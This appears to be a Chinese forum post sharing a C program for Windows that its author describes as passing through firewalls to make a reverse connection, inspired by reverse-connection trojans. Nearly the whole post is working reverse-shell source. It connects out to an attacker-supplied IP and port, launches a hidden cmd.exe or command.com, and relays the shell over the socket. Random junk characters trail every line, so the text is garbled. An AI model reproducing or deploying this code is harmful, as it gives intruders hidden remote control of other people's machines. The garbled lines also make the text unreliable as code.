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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 V*>73I  
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/* ============================== L%k67>  
Rebound port in Windows NT 98h :X%  
By wind,2006/7 @|E;}:?u  
===============================*/ t[/\KG8  
#include XRtyC4f  
#include Imke/ =h  
"-28[a3q  
#pragma comment(lib,"wsock32.lib") T\)dt?Tv#\  
4bPqmEE  
void OutputShell(); G 2!}R  
SOCKET sClient; ypgliq(  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; IN<:P  
>G<4R o"  
void main(int argc,char **argv) f_~}X#._  
{ =obt"K%n  
WSADATA stWsaData; PIgGXNo  
int nRet; 3,%nkW  
SOCKADDR_IN stSaiClient,stSaiServer; 9) jo7,VM  
@>+^W&  
if(argc != 3) .zQ4/  
{ YfV"_G.ad|  
printf("Useage:\n\rRebound DestIP DestPort\n"); =jsx (3V   
return; ZUv ZN f  
} =kwb` Z/a  
7Y%!,ff  
WSAStartup(MAKEWORD(2,2),&stWsaData); 3L?WTS6(u  
H U:1f)a a  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); FK-}i|di  
wEZ,49  
stSaiClient.sin_family = AF_INET; >-UD]?>  
stSaiClient.sin_port = htons(0); BvSdp6z9Iv  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \)uy"+ Z`  
~K4k'   
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) $,}Qf0(S  
{ mgk64}K[n  
printf("Bind Socket Failed!\n"); +[>y O _}  
return; jG =(w4+  
} A J<iM)l|  
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stSaiServer.sin_family = AF_INET; @gs26jX~2}  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 37J\i ]  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 0Ddn@!J*  
u4go*#  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }~myf\$  
{ <ur KIu  
printf("Connect Error!"); T_3V/)%@  
return; %j~9O~-  
} 3s3a>  
OutputShell(); 5Xp$ yX =  
} xAR^  
m]bL)]Z  
void OutputShell() eUX@9eML  
{ C}x4#bNK  
char szBuff[1024]; Kh>?!` lL  
SECURITY_ATTRIBUTES stSecurityAttributes; 0*37D 5jH  
OSVERSIONINFO stOsversionInfo; 3FGbQ_  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; hdo+Qezu:  
STARTUPINFO stStartupInfo; }".\ 4B$n  
char *szShell; -fb1cv~N  
PROCESS_INFORMATION stProcessInformation; /E=h{|  
unsigned long lBytesRead; L#@l(8.  
, LCH2r  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {KF7j63  
nL 1IS  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); XMjI}SPG  
stSecurityAttributes.lpSecurityDescriptor = 0; >l7eoj  
stSecurityAttributes.bInheritHandle = TRUE; P&qy.0  
\DG( 8l  
4U}.Skzq  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); m~Lf^gbG?  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {LR#(q$1  
0S)"Q^6n y  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Hj}g1"RA  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MsN2A6|33  
stStartupInfo.wShowWindow = SW_HIDE; ^4n2 -DvG  
stStartupInfo.hStdInput = hReadPipe; .F{}~K]  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Y2RxD\!Z  
'DaNR`9  
GetVersionEx(&stOsversionInfo); WyKUvVi  
H}u)%qY+~  
switch(stOsversionInfo.dwPlatformId) F?yh23&_4  
{ |HKHN? )  
case 1: 8cYuzt]..  
szShell = "command.com"; Ri^sQ<~(  
break; nOA ,x  
default: ~$ cm9>  
szShell = "cmd.exe"; C=xo&I7  
break; A"P\4  
} 842Mydom  
E9~&f^f  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {Sd@u$&  
f~n' Ki+'  
send(sClient,szMsg,77,0); RW|UQY#  
while(1) Yke<Wy1  
{ {[(W4NAlH  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \t&n jMWpZ  
if(lBytesRead) r9p?@P\:[  
{ -o! saX<  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2c*VHIl;  
send(sClient,szBuff,lBytesRead,0); ~m,mvRS  
} \? 5[RR  
else *g/I&'^  
{ ND)M3qp2(  
lBytesRead=recv(sClient,szBuff,1024,0); YyX^lL_  
if(lBytesRead<=0) break; f_z2#,g  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); [A.eVuV;+  
} Rx_,J%0Fq  
} HnH2u;  
}RC. Q`b  
return; 4nVO.Ud0$X  
}
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